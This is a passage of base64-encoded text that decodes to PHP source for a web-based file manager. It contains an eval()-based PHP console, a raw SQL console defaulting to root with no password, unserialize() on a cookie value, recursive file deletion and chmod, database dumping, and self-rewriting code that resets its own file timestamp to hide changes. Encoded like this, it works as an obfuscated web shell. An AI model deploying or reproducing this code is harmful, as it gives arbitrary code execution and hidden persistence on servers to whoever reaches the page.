Qnc2hvd19ndCcgPT4gdHJ1ZSwgXC9cLyBzaG93IGdlbmVyYXRpb24gdGltZVxyXG5cdCdlbmFibGVfcGhwX2NvbnNvbGUnID0+IHRydWUsXHJcblx0J2VuYWJsZV9zcWxfY29uc29sZScgPT4gdHJ1ZSxcclxuXHQnc3FsX3NlcnZlcicgPT4gJ2xvY2FsaG9zdCcsXHJcblx0J3NxbF91c2VybmFtZScgPT4gJ3Jvb3QnLFxyXG5cdCdzcWxfcGFzc3dvcmQnID0+ICcnLFxyXG5cdCdzcWxfZGInID0+ICd0ZXN0X2Jhc2UnLFxyXG5cdCdlbmFibGVfcHJveHknID0+IHRydWUsXHJcblx0J3Nob3dfcGhwaW5mbycgPT4gdHJ1ZSxcclxuXHQnc2hvd194bHMnID0+IHRydWUsXHJcblx0J2ZtX3NldHRpbmdzJyA9PiB0cnVlLFxyXG5cdCdyZXN0b3JlX3RpbWUnID0+IHRydWUsXHJcblx0J2ZtX3Jlc3RvcmVfdGltZScgPT4gZmFsc2UsXHJcbik7XHJcblxyXG5pZiAoZW1wdHkoJF9DT09LSUVbJ2ZtX2NvbmZpZyddKSkgJGZtX2NvbmZpZyA9ICRmbV9kZWZhdWx0X2NvbmZpZztcclxuZWxzZSAkZm1fY29uZmlnID0gdW5zZXJpYWxpemUoJF9DT09LSUVbJ2ZtX2NvbmZpZyddKTtcclxuXHJcblwvXC8gQ2hhbmdlIGxhbmd1YWdlXHJcbmlmIChpc3NldCgkX1BPU1RbJ2ZtX2xhbmcnXSkpIHsgXHJcblx0c2V0Y29va2llKCdmbV9sYW5nJywgJF9QT1NUWydmbV9sYW5nJ10sIHRpbWUoKSArICg4NjQwMCAqICRhdXRoWydkYXlzX2F1dGhvcml6YXRpb24nXSkpO1xyXG5cdCRfQ09PS0lFWydmbV9sYW5nJ10gPSAkX1BPU1RbJ2ZtX2xhbmcnXTtcclxufVxyXG4kbGFuZ3VhZ2UgPSAkZGVmYXVsdF9sYW5ndWFnZTtcclxuXHJcblwvXC8gRGV0ZWN0IGJyb3dzZXIgbGFuZ3VhZ2VcclxuaWYoJGRldGVjdF9sYW5nICYmICFlbXB0eSgkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSkgJiYgZW1wdHkoJF9DT09LSUVbJ2ZtX2xhbmcnXSkpe1xyXG5cdCRsYW5nX3ByaW9yaXR5ID0gZXhwbG9kZSgnLCcsICRfU0VSVkVSWydIVFRQX0FDQ0VQVF9MQU5HVUFHRSddKTtcclxuXHRpZiAoIWVtcHR5KCRsYW5nX3ByaW9yaXR5KSl7XHJcblx0XHRmb3JlYWNoICgkbGFuZ19wcmlvcml0eSBhcyAkbGFuZ19hcnIpe1xyXG5cdFx0XHQkbG5nID0gZXhwbG9kZSgnOycsICRsYW5nX2Fycik7XHJcblx0XHRcdCRsbmcgPSAkbG5nWzBdO1xyXG5cdFx0XHRpZihpbl9hcnJheSgkbG5nLCRsYW5ncykpe1xyXG5cdFx0XHRcdCRsYW5ndWFnZSA9ICRsbmc7XHJcblx0XHRcdFx0YnJlYWs7XHJcblx0XHRcdH1cclxuXHRcdH1cclxuXHR9XHJcbn0gXHJcblxyXG5cL1wvIENvb2tpZSBsYW5ndWFnZSBpcyBwcmltYXJ5IGZvciBldmVyXHJcbiRsYW5ndWFnZSA9IChlbXB0eSgkX0NPT0tJRVsnZm1fbGFuZyddKSkgPyAkbGFuZ3VhZ2UgOiAkX0NPT0tJRVsnZm1fbGFuZyddO1xyXG5cclxuXC9cLyBMb2NhbGl6YXRpb25cclxuJGxhbmcgPSBqc29uX2RlY29kZSgkdHJhbnNsYXRpb24sdHJ1ZSk7XHJcbmlmICgkbGFuZ1snaWQnXSE9JGxhbmd1YWdlKSB7XHJcblx0JGdldF9sYW5nID0gZmlsZV9nZXRfY29udGVudHMoJ2h0dHBzOlwvXC9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tXC9EZW4xeHh4XC9GaWxlbWFuYWdlclwvbWFzdGVyXC9sYW5ndWFnZXNcLycgLiAkbGFuZ3VhZ2UgLiAnLmpzb24nKTtcclxuXHRpZiAoIWVtcHR5KCRnZXRfbGFuZykpIHtcclxuXHRcdFwvXC9yZW1vdmUgdW5uZWNlc3NhcnkgY2hhcmFjdGVyc1xyXG5cdFx0JHRyYW5zbGF0aW9uX3N0cmluZyA9IHN0cl9yZXBsYWNlKFwiJ1wiLCcmIzM5OycsanNvbl9lbmNvZGUoanNvbl9kZWNvZGUoJGdldF9sYW5nKSxKU09OX1VORVNDQVBFRF9VTklDT0RFKSk7XHJcblx0XHQkZmdjID0gZmlsZV9nZXRfY29udGVudHMoX19GSUxFX18pO1xyXG5cdFx0JHNlYXJjaCA9IHByZWdfbWF0Y2goJyN0cmFuc2xhdGlvbltcXHNdP1xcPVtcXHNdP1xcJ1xce1xcXCIoLio/KVxcXCJcXH1cXCc7IycsICRmZ2MsICRtYXRjaGVzKTtcclxuXHRcdGlmICghZW1wdHkoJG1hdGNoZXNbMV0pKSB7XHJcblx0XHRcdCRmaWxlbXRpbWUgPSBmaWxlbXRpbWUoX19GSUxFX18pO1xyXG5cdFx0XHQkcmVwbGFjZSA9IHN0cl9yZXBsYWNlKCd7XCInLiRtYXRjaGVzWzFdLidcIn0nLCR0cmFuc2xhdGlvbl9zdHJpbmcsJGZnYyk7XHJcblx0XHRcdGlmIChmaWxlX3B1dF9jb250ZW50cyhfX0ZJTEVfXywgJHJlcGxhY2UpKSB7XHJcblx0XHRcdFx0JG1zZyAuPSBfXygnRmlsZSB1cGRhdGVkJyk7XHJcblx0XHRcdH1cdGVsc2UgJG1zZyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKTtcclxuXHRcdFx0aWYgKCFlbXB0eSgkZm1fY29uZmlnWydmbV9yZXN0b3JlX3RpbWUnXSkpIHRvdWNoKF9fRklMRV9fLCRmaWxlbXRpbWUpO1xyXG5cdFx0fVx0XHJcblx0XHQkbGFuZyA9IGpzb25fZGVjb2RlKCR0cmFuc2xhdGlvbl9zdHJpbmcsdHJ1ZSk7XHJcblx0fVxyXG59XHJcblxyXG5cLyogRnVuY3Rpb25zICpcL1xyXG5cclxuXC9cL3RyYW5zbGF0aW9uXHJcbmZ1bmN0aW9uIF9fKCR0ZXh0KXtcclxuXHRnbG9iYWwgJGxhbmc7XHJcblx0aWYgKGlzc2V0KCRsYW5nWyR0ZXh0XSkpIHJldHVybiAkbGFuZ1skdGV4dF07XHJcblx0ZWxzZSByZXR1cm4gJHRleHQ7XHJcbn07XHJcblxyXG5cL1wvZGVsZXRlIGZpbGVzIGFuZCBkaXJzIHJlY3Vyc2l2ZWx5XHJcbmZ1bmN0aW9uIGZtX2RlbF9maWxlcygkZmlsZSwgJHJlY3Vyc2l2ZSA9IGZhbHNlKSB7XHJcblx0aWYoJHJlY3Vyc2l2ZSAmJiBAaXNfZGlyKCRmaWxlKSkge1xyXG5cdFx0JGVscyA9IGZtX3NjYW5fZGlyKCRmaWxlLCAnJywgJycsIHRydWUpO1xyXG5cdFx0Zm9yZWFjaCAoJGVscyBhcyAkZWwpIHtcclxuXHRcdFx0aWYoJGVsICE9ICcuJyAmJiAkZWwgIT0gJy4uJyl7XHJcblx0XHRcdFx0Zm1fZGVsX2ZpbGVzKCRmaWxlIC4gJ1wvJyAuICRlbCwgdHJ1ZSk7XHJcblx0XHRcdH1cclxuXHRcdH1cclxuXHR9XHJcblx0aWYoQGlzX2RpcigkZmlsZSkpIHtcclxuXHRcdHJldHVybiBybWRpcigkZmlsZSk7XHJcblx0fSBlbHNlIHtcclxuXHRcdHJldHVybiBAdW5saW5rKCRmaWxlKTtcclxuXHR9XHJcbn1cclxuXHJcblwvXC9maWxlIHBlcm1zXHJcbmZ1bmN0aW9uIGZtX3JpZ2h0c19zdHJpbmcoJGZpbGUsICRpZiA9IGZhbHNlKXtcclxuXHQkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpO1xyXG5cdCRpbmZvID0gJyc7XHJcblx0aWYoISRpZil7XHJcblx0XHRpZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7XHJcblx0XHRcdFwvXC9Tb2NrZXRcclxuXHRcdFx0JGluZm8gPSAncyc7XHJcblx0XHR9IGVsc2VpZiAoKCRwZXJtcyAmIDB4QTAwMCkgPT0gMHhBMDAwKSB7XHJcblx0XHRcdFwvXC9TeW1ib2xpYyBMaW5rXHJcblx0XHRcdCRpbmZvID0gJ2wnO1xyXG5cdFx0fSBlbHNlaWYgKCgkcGVybXMgJiAweDgwMDApID09IDB4ODAwMCkge1xyXG5cdFx0XHRcL1wvUmVndWxhclxyXG5cdFx0XHQkaW5mbyA9ICctJztcclxuXHRcdH0gZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApIHtcclxuXHRcdFx0XC9cL0Jsb2NrIHNwZWNpYWxcclxuXHRcdFx0JGluZm8gPSAnYic7XHJcblx0XHR9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NDAwMCkgPT0gMHg0MDAwKSB7XHJcblx0XHRcdFwvXC9EaXJlY3RvcnlcclxuXHRcdFx0JGluZm8gPSAnZCc7XHJcblx0XHR9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MjAwMCkgPT0gMHgyMDAwKSB7XHJcblx0XHRcdFwvXC9DaGFyYWN0ZXIgc3BlY2lhbFxyXG5cdFx0XHQkaW5mbyA9ICdjJztcclxuXHRcdH0gZWxzZWlmICgoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApIHtcclxuXHRcdFx0XC9cL0ZJRk8gcGlwZVxyXG5cdFx0XHQkaW5mbyA9ICdwJztcclxuXHRcdH0gZWxzZSB7XHJcblx0XHRcdFwvXC9Vbmtub3duXHJcblx0XHRcdCRpbmZvID0gJ3UnO1xyXG5cdFx0fVxyXG5cdH1cclxuICBcclxuXHRcL1wvT3duZXJcclxuXHQkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpO1xyXG5cdCRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDgwKSA/ICd3JyA6ICctJyk7XHJcblx0JGluZm8gLj0gKCgkcGVybXMgJiAweDAwNDApID9cclxuXHQoKCRwZXJtcyAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6XHJcblx0KCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7XHJcbiBcclxuXHRcL1wvR3JvdXBcclxuXHQkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAyMCkgPyAncicgOiAnLScpO1xyXG5cdCRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7XHJcblx0JGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDgpID9cclxuXHQoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6XHJcblx0KCgkcGVybXMgJiAweDA0MDApID8gJ1MnIDogJy0nKSk7XHJcbiBcclxuXHRcL1wvV29ybGRcclxuXHQkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwNCkgPyAncicgOiAnLScpO1xyXG5cdCRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAyKSA/ICd3JyA6ICctJyk7XHJcblx0JGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID9cclxuXHQoKCRwZXJtcyAmIDB4MDIwMCkgPyAndCcgOiAneCcgKSA6XHJcblx0KCgkcGVybXMgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7XHJcblxyXG5cdHJldHVybiAkaW5mbztcclxufVxyXG5cclxuZnVuY3Rpb24gZm1fY29udmVydF9yaWdodHMoJG1vZGUpIHtcclxuXHQkbW9kZSA9IHN0cl9wYWQoJG1vZGUsOSwnLScpO1xyXG5cdCR0cmFucyA9IGFycmF5KCctJz0+JzAnLCdyJz0+JzQnLCd3Jz0+JzInLCd4Jz0+JzEnKTtcclxuXHQkbW9kZSA9IHN0cnRyKCRtb2RlLCR0cmFucyk7XHJcblx0JG5ld21vZGUgPSAnMCc7XHJcblx0JG93bmVyID0gKGludCkgJG1vZGVbMF0gKyAoaW50KSAkbW9kZVsxXSArIChpbnQpICRtb2RlWzJdOyBcclxuXHQkZ3JvdXAgPSAoaW50KSAkbW9kZVszXSArIChpbnQpICRtb2RlWzRdICsgKGludCkgJG1vZGVbNV07IFxyXG5cdCR3b3JsZCA9IChpbnQpICRtb2RlWzZdICsgKGludCkgJG1vZGVbN10gKyAoaW50KSAkbW9kZVs4XTsgXHJcblx0JG5ld21vZGUgLj0gJG93bmVyIC4gJGdyb3VwIC4gJHdvcmxkO1xyXG5cdHJldHVybiBpbnR2YWwoJG5ld21vZGUsIDgpO1xyXG59XHJcblxyXG5mdW5jdGlvbiBmbV9jaG1vZCgkZmlsZSwgJHZhbCwgJHJlYyA9IGZhbHNlKSB7XHJcblx0JHJlcyA9IEBjaG1vZChyZWFscGF0aCgkZmlsZSksICR2YWwpO1xyXG5cdGlmKEBpc19kaXIoJGZpbGUpICYmICRyZWMpe1xyXG5cdFx0JGVscyA9IGZtX3NjYW5fZGlyKCRmaWxlKTtcclxuXHRcdGZvcmVhY2ggKCRlbHMgYXMgJGVsKSB7XHJcblx0XHRcdCRyZXMgPSAkcmVzICYmIGZtX2NobW9kKCRmaWxlIC4gJ1wvJyAuICRlbCwgJHZhbCwgdHJ1ZSk7XHJcblx0XHR9XHJcblx0fVxyXG5cdHJldHVybiAkcmVzO1xyXG59XHJcblxyXG5cL1wvbG9hZCBmaWxlc1xyXG5mdW5jdGlvbiBmbV9kb3dubG9hZCgkZmlsZV9uYW1lKSB7XHJcbiAgICBpZiAoIWVtcHR5KCRmaWxlX25hbWUpKSB7XHJcblx0XHRpZiAoZmlsZV9leGlzdHMoJGZpbGVfbmFtZSkpIHtcclxuXHRcdFx0aGVhZGVyKFwiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIgLiBiYXNlbmFtZSgkZmlsZV9uYW1lKSk7ICAgXHJcblx0XHRcdGhlYWRlcihcIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb25cL2ZvcmNlLWRvd25sb2FkXCIpO1xyXG5cdFx0XHRoZWFkZXIoXCJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uXC9vY3RldC1zdHJlYW1cIik7XHJcblx0XHRcdGhlYWRlcihcIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb25cL2Rvd25sb2FkXCIpO1xyXG5cdFx0XHRoZWFkZXIoXCJDb250ZW50LURlc2NyaXB0aW9uOiBGaWxlIFRyYW5zZmVyXCIpOyAgICAgICAgICAgIFxyXG5cdFx0XHRoZWFkZXIoXCJDb250ZW50LUxlbmd0aDogXCIgLiBmaWxlc2l6ZSgkZmlsZV9uYW1lKSk7XHRcdFxyXG5cdFx0XHRmbHVzaCgpOyBcL1wvIHRoaXMgZG9lc24ndCByZWFsbHkgbWF0dGVyLlxyXG5cdFx0XHQkZnAgPSBmb3BlbigkZmlsZV9uYW1lLCBcInJcIik7XHJcblx0XHRcdHdoaWxlICghZmVvZigkZnApKSB7XHJcblx0XHRcdFx0ZWNobyBmcmVhZCgkZnAsIDY1NTM2KTtcclxuXHRcdFx0XHRmbHVzaCgpOyBcL1wvIHRoaXMgaXMgZXNzZW50aWFsIGZvciBsYXJnZSBkb3dubG9hZHNcclxuXHRcdFx0fSBcclxuXHRcdFx0ZmNsb3NlKCRmcCk7XHJcblx0XHRcdGRpZSgpO1xyXG5cdFx0fSBlbHNlIHtcclxuXHRcdFx0aGVhZGVyKCdIVFRQXC8xLjAgNDA0IE5vdCBGb3VuZCcsIHRydWUsIDQwNCk7XHJcblx0XHRcdGhlYWRlcignU3RhdHVzOiA0MDQgTm90IEZvdW5kJyk7IFxyXG5cdFx0XHRkaWUoKTtcclxuICAgICAgICB9XHJcbiAgICB9IFxyXG59XHJcblxyXG5cL1wvc2hvdyBmb2xkZXIgc2l6ZVxyXG5mdW5jdGlvbiBmbV9kaXJfc2l6ZSgkZiwkZm9ybWF0PXRydWUpIHtcclxuXHRpZigkZm9ybWF0KSAge1xyXG5cdFx0JHNpemU9Zm1fZGlyX3NpemUoJGYsZmFsc2UpO1xyXG5cdFx0aWYoJHNpemU8PTEwMjQpIHJldHVybiAkc2l6ZS4nIGJ5dGVzJztcclxuXHRcdGVsc2VpZigkc2l6ZTw9MTAyNCoxMDI0KSByZXR1cm4gcm91bmQoJHNpemVcLygxMDI0KSwyKS4nJm5ic3A7S2InO1xyXG5cdFx0ZWxzZWlmKCRzaXplPD0xMDI0KjEwMjQqMTAyNCkgcmV0dXJuIHJvdW5kKCRzaXplXC8oMTAyNCoxMDI0KSwyKS4nJm5ic3A7TWInO1xyXG5cdFx0ZWxzZWlmKCRzaXplPD0xMDI0KjEwMjQqMTAyNCoxMDI0KSByZXR1cm4gcm91bmQoJHNpemVcLygxMDI0KjEwMjQqMTAyNCksMikuJyZuYnNwO0diJztcclxuXHRcdGVsc2VpZigkc2l6ZTw9MTAyNCoxMDI0KjEwMjQqMTAyNCoxMDI0KSByZXR1cm4gcm91bmQoJHNpemVcLygxMDI0KjEwMjQqMTAyNCoxMDI0KSwyKS4nJm5ic3A7VGInOyBcL1wvOikpKVxyXG5cdFx0ZWxzZSByZXR1cm4gcm91bmQoJHNpemVcLygxMDI0KjEwMjQqMTAyNCoxMDI0KjEwMjQpLDIpLicmbmJzcDtQYic7IFwvXC8gOy0pXHJcblx0fSBlbHNlIHtcclxuXHRcdGlmKGlzX2ZpbGUoJGYpKSByZXR1cm4gZmlsZXNpemUoJGYpO1xyXG5cdFx0JHNpemU9MDtcclxuXHRcdCRkaD1vcGVuZGlyKCRmKTtcclxuXHRcdHdoaWxlKCgkZmlsZT1yZWFkZGlyKCRkaCkpIT09ZmFsc2UpIHtcclxuXHRcdFx0aWYoJGZpbGU9PScuJyB8fCAkZmlsZT09Jy4uJykgY29udGludWU7XHJcblx0XHRcdGlmKGlzX2ZpbGUoJGYuJ1wvJy4kZmlsZSkpICRzaXplKz1maWxlc2l6ZSgkZi4nXC8nLiRmaWxlKTtcclxuXHRcdFx0ZWxzZSAkc2l6ZSs9Zm1fZGlyX3NpemUoJGYuJ1wvJy4kZmlsZSxmYWxzZSk7XHJcblx0XHR9XHJcblx0XHRjbG9zZWRpcigkZGgpO1xyXG5cdFx0cmV0dXJuICRzaXplK2ZpbGVzaXplKCRmKTsgXHJcblx0fVxyXG59XHJcblxyXG5cL1wvc2NhbiBkaXJlY3RvcnlcclxuZnVuY3Rpb24gZm1fc2Nhbl9kaXIoJGRpcmVjdG9yeSwgJGV4cCA9ICcnLCAkdHlwZSA9ICdhbGwnLCAkZG9fbm90X2ZpbHRlciA9IGZhbHNlKSB7XHJcblx0JGRpciA9ICRuZGlyID0gYXJyYXkoKTtcclxuXHRpZighZW1wdHkoJGV4cCkpe1xyXG5cdFx0JGV4cCA9ICdcL14nIC4gc3RyX3JlcGxhY2UoJyonLCAnKC4qKScsIHN0cl9yZXBsYWNlKCcuJywgJ1xcXFwuJywgJGV4cCkpIC4gJyRcLyc7XHJcblx0fVxyXG5cdGlmKCFlbXB0eSgkdHlwZSkgJiYgJHR5cGUgIT09ICdhbGwnKXtcclxuXHRcdCRmdW5jID0gJ2lzXycgLiAkdHlwZTtcclxuXHR9XHJcblx0aWYoQGlzX2RpcigkZGlyZWN0b3J5KSl7XHJcblx0XHQkZmggPSBvcGVuZGlyKCRkaXJlY3RvcnkpO1xyXG5cdFx0d2hpbGUgKGZhbHNlICE9PSAoJGZpbGVuYW1lID0gcmVhZGRpcigkZmgpKSkge1xyXG5cdFx0XHRpZihzdWJzdHIoJGZpbGVuYW1lLCAwLCAxKSAhPSAnLicgfHwgJGRvX25vdF9maWx0ZXIpIHtcclxuXHRcdFx0XHRpZigoZW1wdHkoJHR5cGUpIHx8ICR0eXBlID09ICdhbGwnIHx8ICRmdW5jKCRkaXJlY3RvcnkgLiAnXC8nIC4gJGZpbGVuYW1lKSkgJiYgKGVtcHR5KCRleHApIHx8IHByZWdfbWF0Y2goJGV4cCwgJGZpbGVuYW1lKSkpe1xyXG5cdFx0XHRcdFx0JGRpcltdID0gJGZpbGVuYW1lO1xyXG5cdFx0XHRcdH1cclxuXHRcdFx0fVxyXG5cdFx0fVxyXG5cdFx0Y2xvc2VkaXIoJGZoKTtcclxuXHRcdG5hdHNvcnQoJGRpcik7XHJcblx0fVxyXG5cdHJldHVybiAkZGlyO1xyXG59XHJcblxyXG5mdW5jdGlvbiBmbV9saW5rKCRnZXQsJGxpbmssJG5hbWUsJHRpdGxlPScnKSB7XHJcblx0aWYgKGVtcHR5KCR0aXRsZSkpICR0aXRsZT0kbmFtZS4nICcuYmFzZW5hbWUoJGxpbmspO1xyXG5cdHJldHVybiAnJm5ic3A7Jm5ic3A7PGEgaHJlZj1cIj8nLiRnZXQuJz0nLmJhc2U2NF9lbmNvZGUoJGxpbmspLidcIiB0aXRsZT1cIicuJHRpdGxlLidcIj4nLiRuYW1lLic8XC9hPic7XHJcbn1cclxuXHJcbmZ1bmN0aW9uIGZtX2Fycl90b19vcHRpb24oJGFyciwkbiwkc2VsPScnKXtcclxuXHRmb3JlYWNoKCRhcnIgYXMgJHYpe1xyXG5cdFx0JGI9JHZbJG5dO1xyXG5cdFx0JHJlcy49JzxvcHRpb24gdmFsdWU9XCInLiRiLidcIiAnLigkc2VsICYmICRzZWw9PSRiPydzZWxlY3RlZCc6JycpLic+Jy4kYi4nPFwvb3B0aW9uPic7XHJcblx0fVxyXG5cdHJldHVybiAkcmVzO1xyXG59XHJcblxyXG5mdW5jdGlvbiBmbV9sYW5nX2Zvcm0gKCRjdXJyZW50PSdlbicpe1xyXG5yZXR1cm4gJ1xyXG48Zm9ybSBuYW1lPVwiY2hhbmdlX2xhbmdcIiBtZXRob2Q9XCJwb3N0XCIgYWN0aW9uPVwiXCI+XHJcblx0PHNlbGVjdCBuYW1lPVwiZm1fbGFuZ1wiIHRpdGxlPVwiJy5fXygnTGFuZ3VhZ2UnKS4nXCIgb25jaGFuZ2U9XCJkb2N1bWVudC5mb3Jtc1tcXCdjaGFuZ2VfbGFuZ1xcJ10uc3VibWl0KClcIiA+XHJcblx0XHQ8b3B0aW9uIHZhbHVlPVwiZW5cIiAnLigkY3VycmVudD09J2VuJz8nc2VsZWN0ZWQ9XCJzZWxlY3RlZFwiICc6JycpLic+Jy5fXygnRW5nbGlzaCcpLic8XC9vcHRpb24+XHJcblx0XHQ8b3B0aW9uIHZhbHVlPVwiZGVcIiAnLigkY3VycmVudD09J2RlJz8nc2VsZWN0ZWQ9XCJzZWxlY3RlZFwiICc6JycpLic+Jy5fXygnR2VybWFuJykuJzxcL29wdGlvbj5cclxuXHRcdDxvcHRpb24gdmFsdWU9XCJydVwiICcuKCRjdXJyZW50PT0ncnUnPydzZWxlY3RlZD1cInNlbGVjdGVkXCIgJzonJykuJz4nLl9fKCdSdXNzaWFuJykuJzxcL29wdGlvbj5cclxuXHRcdDxvcHRpb24gdmFsdWU9XCJmclwiICcuKCRjdXJyZW50PT0nZnInPydzZWxlY3RlZD1cInNlbGVjdGVkXCIgJzonJykuJz4nLl9fKCdGcmVuY2gnKS4nPFwvb3B0aW9uPlxyXG5cdFx0PG9wdGlvbiB2YWx1ZT1cInVrXCIgJy4oJGN1cnJlbnQ9PSd1ayc/J3NlbGVjdGVkPVwic2VsZWN0ZWRcIiAnOicnKS4nPicuX18oJ1VrcmFpbmlhbicpLic8XC9vcHRpb24+XHJcblx0PFwvc2VsZWN0PlxyXG48XC9mb3JtPlxyXG4nO1xyXG59XHJcblx0XHJcbmZ1bmN0aW9uIGZtX3Jvb3QoJGRpcm5hbWUpe1xyXG5cdHJldHVybiAoJGRpcm5hbWU9PScuJyBPUiAkZGlybmFtZT09Jy4uJyk7XHJcbn1cclxuXHJcbmZ1bmN0aW9uIGZtX3BocCgkc3RyaW5nKXtcclxuXHQkZGlzcGxheV9lcnJvcnM9aW5pX2dldCgnZGlzcGxheV9lcnJvcnMnKTtcclxuXHRpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsICcxJyk7XHJcblx0b2Jfc3RhcnQoKTtcclxuXHRldmFsKHRyaW0oJHN0cmluZykpO1xyXG5cdCR0ZXh0ID0gb2JfZ2V0X2NvbnRlbnRzKCk7XHJcblx0b2JfZW5kX2NsZWFuKCk7XHJcblx0aW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAkZGlzcGxheV9lcnJvcnMpO1xyXG5cdHJldHVybiAkdGV4dDtcclxufVxyXG5cclxuXC9cL1NIT1cgREFUQUJBU0VTXHJcbmZ1bmN0aW9uIGZtX3NxbF9jb25uZWN0KCl7XHJcblx0Z2xvYmFsICRmbV9jb25maWc7XHJcblx0cmV0dXJuIG5ldyBteXNxbGkoJGZtX2NvbmZpZ1snc3FsX3NlcnZlciddLCAkZm1fY29uZmlnWydzcWxfdXNlcm5hbWUnXSwgJGZtX2NvbmZpZ1snc3FsX3Bhc3N3b3JkJ10sICRmbV9jb25maWdbJ3NxbF9kYiddKTtcclxufVxyXG5cclxuZnVuY3Rpb24gZm1fc3FsKCRxdWVyeSl7XHJcblx0Z2xvYmFsICRmbV9jb25maWc7XHJcblx0JHF1ZXJ5PXRyaW0oJHF1ZXJ5KTtcclxuXHRvYl9zdGFydCgpO1xyXG5cdCRjb25uZWN0aW9uID0gZm1fc3FsX2Nvbm5lY3QoKTtcclxuXHRpZiAoJGNvbm5lY3Rpb24tPmNvbm5lY3RfZXJyb3IpIHtcclxuXHRcdG9iX2VuZF9jbGVhbigpO1x0XHJcblx0XHRyZXR1cm4gJGNvbm5lY3Rpb24tPmNvbm5lY3RfZXJyb3I7XHJcblx0fVxyXG5cdCRjb25uZWN0aW9uLT5zZXRfY2hhcnNldCgndXRmOCcpO1xyXG4gICAgJHF1ZXJpZWQgPSBteXNxbGlfcXVlcnkoJGNvbm5lY3Rpb24sJHF1ZXJ5KTtcclxuXHRpZiAoJHF1ZXJpZWQ9PT1mYWxzZSkge1xyXG5cdFx0b2JfZW5kX2NsZWFuKCk7XHRcclxuXHRcdHJldHVybiBteXNxbGlfZXJyb3IoJGNvbm5lY3Rpb24pO1xyXG4gICAgfSBlbHNlIHtcclxuXHRcdGlmKCFlbXB0eSgkcXVlcmllZCkpe1xyXG5cdFx0XHR3aGlsZSgkcm93ID0gbXlzcWxpX2ZldGNoX2Fzc29jKCRxdWVyaWVkKSkge1xyXG5cdFx0XHRcdCRxdWVyeV9yZXN1bHRbXT0gICRyb3c7XHJcblx0XHRcdH1cclxuXHRcdH1cclxuXHRcdCR2ZHVtcD1lbXB0eSgkcXVlcnlfcmVzdWx0KT8nJzp2YXJfZXhwb3J0KCRxdWVyeV9yZXN1bHQsdHJ1ZSk7XHRcclxuXHRcdG9iX2VuZF9jbGVhbigpO1x0XHJcblx0XHQkY29ubmVjdGlvbi0+Y2xvc2UoKTtcclxuXHRcdHJldHVybiAnPHByZT4nLnN0cmlwc2xhc2hlcygkdmR1bXApLic8XC9wcmU+JztcclxuXHR9XHJcbn1cclxuXHJcbmZ1bmN0aW9uIGZtX2JhY2t1cF90YWJsZXMoJHRhYmxlcyA9ICcqJywgJGZ1bGxfYmFja3VwID0gdHJ1ZSkge1xyXG5cdGdsb2JhbCAkcGF0aDtcclxuXHQkbXlzcWxkYiA9IGZtX3NxbF9jb25uZWN0KCk7XHJcblx0JGRlbGltaXRlciA9IFwiOyBcXG4gIFxcblwiO1xyXG5cdGlmKCR0YWJsZXMgPT0gJyonKVx0e1xyXG5cdFx0JHRhYmxlcyA9IGFycmF5KCk7XHJcblx0XHQkcmVzdWx0ID0gJG15c3FsZGItPnF1ZXJ5KCdTSE9XIFRBQkxFUycpO1xyXG5cdFx0d2hpbGUoJHJvdyA9IG15c3FsaV9mZXRjaF9yb3coJHJlc3VsdCkpXHR7XHJcblx0XHRcdCR0YWJsZXNbXSA9ICRyb3dbMF07XHJcblx0XHR9XHJcblx0fSBlbHNlIHtcclxuXHRcdCR0YWJsZXMgPSBpc19hcnJheSgkdGFibGVzKSA/ICR0YWJsZXMgOiBleHBsb2RlKCcsJywkdGFibGVzKTtcclxuXHR9XHJcbiAgICBcclxuXHQkcmV0dXJuPScnO1xyXG5cdGZvcmVhY2goJHRhYmxlcyBhcyAkdGFibGUpXHR7XHJcblx0XHQkcmVzdWx0ID0gJG15c3FsZGItPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHRhYmxlKTtcclxuXHRcdCRudW1fZmllbGRzID0gbXlzcWxpX251bV9maWVsZHMoJHJlc3VsdCk7XHJcblx0XHQkcmV0dXJuLj0gJ0RST1AgVEFCTEUgSUYgRVhJU1RTIGAnLiR0YWJsZS4nYCcuJGRlbGltaXRlcjtcclxuXHRcdCRyb3cyID0gbXlzcWxpX2ZldGNoX3JvdygkbXlzcWxkYi0+cXVlcnkoJ1NIT1cgQ1JFQVRFIFRBQkxFICcuJHRhYmxlKSk7XHJcblx0XHQkcmV0dXJuLj0kcm93MlsxXS4kZGVsaW1pdGVyO1xyXG4gICAgICAgIGlmICgkZnVsbF9iYWNrdXApIHtcclxuXHRcdGZvciAoJGkgPSAwOyAkaSA8ICRudW1fZmllbGRzOyAkaSsrKSAge1xyXG5cdFx0XHR3aGlsZSgkcm93ID0gbXlzcWxpX2ZldGNoX3JvdygkcmVzdWx0KSkge1xyXG5cdFx0XHRcdCRyZXR1cm4uPSAnSU5TRVJUIElOVE8gYCcuJHRhYmxlLidgIFZBTFVFUygnO1xyXG5cdFx0XHRcdGZvcigkaj0wOyAkajwkbnVtX2